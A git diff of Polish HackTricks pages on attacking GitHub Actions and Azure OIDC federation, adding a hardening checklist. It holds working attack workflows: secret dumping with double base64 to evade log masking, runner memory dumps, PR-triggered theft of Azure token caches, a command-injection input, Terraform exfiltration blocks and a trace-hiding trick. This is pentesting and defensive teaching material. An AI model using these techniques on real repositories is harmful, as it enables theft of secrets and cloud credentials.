``` -### Dostęp do AWS i GCP przez OIDC +### Dostęp do AWS, Azure i GCP za pomocą OIDC Sprawdź następujące strony: @@ -464,19 +466,23 @@ Sprawdź następujące strony: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Dostęp do sekretów +### Dostęp do secrets -Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów: +Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do secrets: -- Jeśli sekret lub token jest ustawiony jako **environment variable**, można uzyskać do niego bezpośredni dostęp przez środowisko używając **`printenv`**. +- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
-Wypisz sekrety w wyjściu Github Action +Wyświetlenie secrets w output Github Action ```yaml name: list_env on: @@ -503,7 +509,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Uzyskaj reverse shell, używając secrets +Uzyskaj reverse shell przy użyciu secrets ```yaml name: revshell on: @@ -526,15 +532,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Jeśli secret jest użyty **bezpośrednio w wyrażeniu**, wygenerowany skrypt powłoki jest zapisany **na dysku** i jest dostępny. +- Jeśli secret jest użyty **directly in an expression**, wygenerowany skrypt shell jest zapisany **on-disk** i jest dostępny. - ```bash cat /home/runner/work/_temp/* ``` -- W przypadku JavaScript actions secrets są przesyłane przez zmienne środowiskowe +- Dla JavaScript actions secrets są przesyłane przez zmienne środowiskowe - ```bash ps axe | grep node ``` -- W przypadku **custom action**, ryzyko może się różnić w zależności od tego, w jaki sposób program używa secret, który otrzymał z **argument**: +- Dla **custom action**, ryzyko może się różnić w zależności od tego, jak program używa secret, który uzyskał z **argumentu**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +548,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Wylicz wszystkie secrets za pomocą secrets context (poziom collaborator). Współautor z uprawnieniami do zapisu może zmodyfikować workflow na dowolnym branchu, aby zrzucić wszystkie repository/org/environment secrets. Użyj podwójnego base64, aby obejść maskowanie logów GitHub i zdekoduj lokalnie: +- Wypisz wszystkie secrets za pomocą secrets context (collaborator level). Współpracownik z uprawnieniami write może zmodyfikować workflow na dowolnej gałęzi, aby zrzucić wszystkie repository/org/environment secrets. Użyj podwójnego base64, aby ominąć maskowanie logów GitHub i zdekoduj lokalnie: ```yaml name: Steal secrets @@ -564,29 +570,29 @@ Dekoduj lokalnie: echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Wskazówka: podczas testów, dla zachowania kamuflażu, zaszyfruj przed wypisaniem (openssl jest preinstalowany na GitHub-hosted runners). +Wskazówka: dla stealth podczas testów, zaszyfruj przed wydrukowaniem (openssl jest preinstalowany na GitHub-hosted runners). -### Wykorzystywanie Self-hosted runners +### Abusing Self-hosted runners -Sposób, aby znaleźć, które **Github Actions are being executed in non-github infrastructure**, to wyszukać **`runs-on: self-hosted`** w konfiguracji Github Action yaml. +Sposób, aby znaleźć, które **Github Actions are being executed in non-github infrastructure** to wyszukanie **`runs-on: self-hosted`** w pliku konfiguracyjnym Github Action yaml. -**Self-hosted** runners mogą mieć dostęp do **extra sensitive information**, do innych **network systems** (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i usunięte, **more than one action might be run at the same time** i złośliwa mogłaby **steal the secrets** innej. +**Self-hosted** runners mogą mieć dostęp do **dodatkowo wrażliwych informacji**, do innych **network systems** (podatne endpointy w sieci? metadata service?) lub, nawet jeśli są izolowane i niszczone, **może być uruchomionych więcej niż jedno action w tym samym czasie** i złośliwe może **steal the secrets** innego. -W self-hosted runnerach możliwe jest również uzyskanie **secrets from the \_Runner.Listener**\_\*\* process\*\* który będzie zawierał wszystkie secrets of the workflows na dowolnym etapie poprzez zrzucenie jego pamięci: +W self-hosted runnerach jest również możliwe uzyskanie the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Sprawdź [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Zobacz [**ten wpis, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Rejestr obrazów Docker w Github -Możliwe jest utworzenie Github actions, które **zbudują i przechowają obraz Dockera w Github**.\ +Możliwe jest stworzenie Github actions, które **zbudują i zapiszą obraz Docker wewnątrz Github**.\ Przykład można znaleźć w poniższym rozwijanym elemencie:
-Github Action Build & Push Docker Image +Github Action — Budowanie i wysyłanie obrazu Docker ```yaml [...] @@ -619,31 +625,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Jak widać w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**. -Użytkownik z uprawnieniami do odczytu repozytorium będzie w stanie pobrać Docker Image przy użyciu personal access token: +Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać Docker Image używając tokena dostępu osobistego: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -Następnie użytkownik mógłby wyszukać **leaked secrets in the Docker image layers:** +Następnie użytkownik może wyszukać **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Poufne informacje w logach Github Actions +### Wrażliwe informacje w Github Actions logs -Nawet jeśli **Github** próbuje **detect secret values** w logach actions i **avoid showing** je, **inne wrażliwe dane** które mogły zostać wygenerowane podczas wykonania action nie będą ukryte. Na przykład JWT podpisany za pomocą wartości sekretu nie zostanie ukryty, chyba że jest [specjalnie skonfigurowane](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Nawet jeśli **Github** próbuje **wykryć secret values** w logach akcji i **zapobiec ich wyświetlaniu**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonania akcji, nie zostaną ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest to [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Ukrywanie śladów +## Zacieranie śladów -(Technika z [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Po pierwsze, każdy PR jest wyraźnie widoczny publicznie na Github i dla docelowego konta GitHub. Domyślnie na GitHub nie możemy usunąć PR z internetu, ale jest pewien trik. Dla kont GitHub, które zostaną zawieszone przez GitHub, wszystkie ich PR są automatycznie usuwane i usuwane z internetu. Aby więc ukryć swoją aktywność, musisz albo doprowadzić do zawieszenia swojego GitHub account lub sprawić, by twoje konto zostało oznaczone. To ukryje wszystkie twoje działania na GitHub przed internetem (praktycznie usunie wszystkie twoje exploit PR) +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Po pierwsze, każdy PR jest jasno widoczny publicznie na Github oraz dla docelowego konta GitHub. Domyślnie w GitHub **nie można usunąć PR z internetu**, ale jest pewien haczyk. Dla kont Github, które są **suspended** przez Github, wszystkie ich **PRs są automatycznie usuwane** i usuwane z internetu. Aby zatem ukryć swoją aktywność, musisz albo doprowadzić do **zawieszenia konta GitHub lub oznaczenia konta**. To **ukryje wszystkie twoje aktywności** na GitHub z internetu (z grubsza usuwa wszystkie twoje exploit PR) -Organizacja na GitHub jest bardzo aktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue i oni zadbają, żeby twoje konto zostało zawieszone w ciągu 12 godzin :p i oto masz — twój exploit stał się niewidoczny na github. +Organizacja na GitHub jest bardzo aktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue, a oni dopilnują, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz — uczyniłeś swoje exploit PR niewidocznym na GitHub. > [!WARNING] -> Jedyny sposób, by organizacja zorientowała się, że została zaatakowana, to sprawdzenie logów GitHub z SIEM, ponieważ z poziomu UI GitHub PR zostanie usunięty. +> Jedyny sposób, by organizacja odkryła, że była celem, to sprawdzić GitHub logs z SIEM, ponieważ z poziomu GitHub UI PR zostanie usunięty. -## Referencje +## References - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..391e76cc2 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Wykorzystywanie federacji (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## Przegląd + +GitHub Actions może federować się z Azure Entra ID (dawniej Azure AD) przy użyciu OpenID Connect (OIDC). Workflow GitHub żąda krótkotrwałego GitHub ID token (JWT), który zawiera szczegóły dotyczące uruchomienia. Azure weryfikuje ten token względem Federated Identity Credential (FIC) na App Registration (service principal) i wymienia go na Azure access tokens (MSAL cache, bearer tokens dla Azure APIs). + +Azure weryfikuje co najmniej: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (podczas wymiany na tokeny Azure) +- sub: musi odpowiadać skonfigurowanemu FIC Subject identifier + +> Domyślny GitHub aud może być adresem URL GitHub. Podczas wymiany z Azure, jawnie ustaw audience=api://AzureADTokenExchange. + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +Aby wymusić parametr audience Azure w żądaniu tokena: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure — konfiguracja (Workload Identity Federation) + +1) Utwórz App Registration (service principal) i przyznaj minimalne uprawnienia (np. Storage Blob Data Contributor na konkretnym storage account). + +2) Dodaj Federated identity credentials: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: ściśle ograniczony do zamierzonego kontekstu workflow/run (patrz Scoping and risks poniżej). + +3) Użyj azure/login, aby wymienić GitHub ID token i zalogować się do Azure CLI: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +Przykład ręcznej wymiany (pokazano zakres Graph; ARM lub inne zasoby analogicznie): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) — budowa i dostosowanie + +Default sub format: repo:/: + +Dostępne wartości context: +- environment: +- pull_request (PR triggers when not in an environment) +- ref:refs/(heads|tags)/ + +Przydatne claims często obecne w payload: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +Dostosuj kompozycję sub przez GitHub API, aby uwzględnić dodatkowe claims i zmniejszyć ryzyko kolizji: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +Uwaga: Dwukropki w nazwach środowisk są URL‑kodowane (%3A), co usuwa starsze sztuczki wstrzykiwania delimiterów przeciwko parsowaniu sub. Jednak używanie nieunikalnych subjectów (np. tylko environment:) nadal jest niebezpieczne. + +## Zakres i ryzyka typów podmiotów FIC + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- Ryzyko: Jeśli branch/tag nie jest chroniony, każdy contributor może wykonać push i uzyskać tokeny. +- Environment: sub=repo:/:environment: +- Ryzyko: Niechronione środowiska (brak reviewers) pozwalają contributorom mintować tokeny. +- Pull request: sub=repo:/:pull_request +- Największe ryzyko: Każdy współpracownik może otworzyć PR i spełnić FIC. + +PoC: PR‑triggered token theft (wyeksfiltruj cache Azure CLI zapisywany przez azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +Powiązane lokalizacje plików i uwagi: +- Linux/macOS: ~/.azure/msal_token_cache.json zawiera tokeny MSAL dla sesji az CLI +- Windows: msal_token_cache.bin w profilu użytkownika; chroniony przez DPAPI + +## Workflowy wielokrotnego użytku i zakres job_workflow_ref + +Wywołanie workflowu wielokrotnego użytku dodaje job_workflow_ref do GitHub ID token, np.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +Przykład FIC do powiązania zarówno repozytorium wywołującego, jak i wielokrotnego użytku workflow: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +Skonfiguruj claims w caller repo tak, aby zarówno repo, jak i job_workflow_ref były obecne w sub: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +Uwaga: Jeśli powiążesz tylko job_workflow_ref w FIC, atakujący może stworzyć inne repo w tej samej org, uruchomić ten sam reusable workflow na tym samym ref, spełnić FIC i mint tokens. Zawsze uwzględniaj również caller repo. + +## Wektory wykonania kodu, które omijają zabezpieczenia job_workflow_ref + +Nawet przy prawidłowo ograniczonym job_workflow_ref, wszelkie dane kontrolowane przez caller, które trafią do shell bez bezpiecznego cytowania, mogą prowadzić do wykonania kodu w chronionym kontekście workflow. + +Przykład podatnego reusable step (niezacytowana interpolacja): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +Złośliwe dane wejściowe od wywołującego służące do wykonania poleceń i wykradzenia Azure token cache: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan jako prymityw wykonawczy w PR-ach + +Traktuj terraform plan jako wykonanie kodu. Podczas plan Terraform może: +- Może odczytać dowolne pliki za pomocą funkcji takich jak file() +- Może wykonać polecenia za pomocą external data source + +Przykład exfiltrate Azure token cache podczas terraform plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +Lub użyj external, aby uruchomić dowolne polecenia: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Przyznanie FICs możliwych do użycia w planach wywoływanych przez PR ujawnia uprzywilejowane tokeny i może przygotować grunt pod destrukcyjny apply później. Używaj osobnych tożsamości dla plan vs apply; nigdy nie dopuszczaj uprzywilejowanych tokenów w nieufnych kontekstach PR. + +## Lista kontrolna utwardzenia + +- Nigdy nie używaj sub=...:pull_request dla wrażliwych FICs +- Chroń każdy branch/tag/environment, na który wskazują FICs (branch protection, environment reviewers) +- Preferuj FICs ograniczone zarówno do repo, jak i job_workflow_ref dla reusable workflows +- Dostosuj GitHub OIDC sub, aby zawierało unikalne claims (np. repo, job_workflow_ref, repository_owner) +- Usuń niecytowaną interpolację wejść wywołującego w run steps; koduj/cytuj bezpiecznie +- Traktuj terraform plan jako wykonanie kodu; ogranicz lub izoluj tożsamości w kontekstach PR +- Wymuś zasadę najmniejszych uprawnień dla App Registrations; oddziel tożsamości dla plan vs apply +- Przypinaj actions i reusable workflows do commit SHAs (unikaj przypinania do branch/tag) + +## Wskazówki do testów ręcznych + +- Zażądaj GitHub ID token w workflow i wydrukuj go w base64, aby uniknąć maskowania +- Zdekoduj JWT, aby sprawdzić claims: iss, aud, sub, job_workflow_ref, repository, ref +- Ręcznie wymień ID token przeciwko login.microsoftonline.com, aby potwierdzić dopasowanie FIC i zakresy +- Po azure/login odczytaj ~/.azure/msal_token_cache.json, aby zweryfikować obecność materiału tokenu + +## Referencje + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}